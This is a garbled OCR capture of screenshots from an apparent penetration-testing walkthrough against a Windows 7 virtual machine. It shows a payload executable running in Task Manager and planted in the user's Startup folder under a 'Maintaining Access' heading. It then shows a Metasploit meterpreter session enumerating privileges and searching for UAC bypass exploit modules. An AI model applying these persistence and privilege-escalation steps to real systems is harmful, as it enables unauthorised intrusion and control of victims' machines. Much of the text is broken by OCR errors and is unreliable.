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@ Docurments

JP Music

[ Pictures

E Videos

il Computer
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~ | 3 |[ search sm8 share

MNew folder = -
Mame Date modified Type Size
| test 1/29/2016 1215 PM  File folder
Hack Win7 URL 1/29/2016 2:52 PM  File 1 KB
EP payload mnmereEardh  Application 288 KB
Open -
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B Desktop test 1/20/201612:15 PM  File folder
& Downloads Hack Win7 URL 1/29/2016 2:52 PM  File 1 KB
‘| Recent Places 1./99/3M 6 £:31 PM Application 288 KB
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Maintaining Access

Cascade windows

Show windows stacked
Show windows side by side
Show the desktop

Start Task Manager

Lock the taskbar

Properties

9:42 AM
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Applications | Processes |S&ruices | Performance | Metworking | Isers |

-~
Image Marme

dwm.exe uy
explorer.exe
payload.exe ...
taskhost.eX
taskmagr.exe u? an

TPAUtoConne... W7 (a1}
VMBlastW . exe iy}

wmtoolsd, exe
YMwareViewC...

VMWyyphelpe.., u7 a0
winlogon.exe a0
WESIT, EXE u7 oa

User Mame CPU  Memory (... Description
| conhost.exe uy 0o 812K Console... |
CErss, exe an 4,284 K

Windows ...
Telnet an...

Froc...
Windows ...
ThinPrint ...

VMware T...
VMware H...
VMware H...

VMware H...

[ @Shnw processes from all users

Processes: 47

CPU Usage: 0%

Physical Memory: 30%
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1= Windows Task Manager (===

File Options View Help

Applications | Processes |Seruices I Performance | Metwaorking | Isers |

Ea
Image Mame User Mame CPU  Memory (... Description

conhost. exe u7 1] 812K Console ...
0o 4 784K
00 1,448K Desktop ...
a0 19,860 K Windows ...
o 2,020K  HostProc...
0o 1,928 K Windows ...
TPAutoConne... 0o 3,680K ThinPrint ...
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VMwareViewC... oo 2,388 K VMware H...
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winlogon.exe 0o 1,348 K
e 0o 2, 120K VMware H...

[ '@'Shuw processes from all users ]

Processes: 46 CPU Usage: 0% Physical Memony: 29%
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&4 Windows Collapse
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Windows Open all users
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Documents
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Computer

Delete

Rename _
Control Panel

Properties
Devices and Printers

Default Programs

Help and Support
1

| Search programs and files \ -\ Shut down ‘E
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% \w/\AppDatat\Roaming\Microsoft\Windows\Start Menu\Programs\Startupliig "_I | Search Startup je |

Organize » Open Share with « Mew folder =+ [ 9
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1’}; Favorites o Date modified Type Size
Bl Desktop EP payload 1/29/2016 6:31 PM  Application 288 KB
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meterpreter = run post/windows/gather/win privs

Is Admin Is System UAC Enabled Foreground ID UID

“u/ -PCYNUT "

Windows Privileges

Mame

SeChangeNotifyPrivilege
SeShutdownPrivilege
SeUndockPrivilege

meterpreter = background

[*] Backgrounding session 4...

msf exploit( ] = sessions -i 4
[*] Starting interaction with 4...

meterpreter = background

[*] Backgrounding session 4...

mst exploit( 1 =lsearch uac

[!'] Database not connected or cache not built, using slow search

Matching Modules

Name Disclosure Date
ption

exploit/windows/local fask 2012-01-03 excellent
Escalate UAC Execute Runls

exploit/windows/local /bypassuac 2010-12-31 axcellent
Escalate UAC Protection Bypass

exploit/windows/local /bypassuac_injection 2010-12-31 excellent
Escalate UAC Protection Bypass (In Memory Injection)

post/windows/gather/win privs normal
Gather Privileges Enumeration






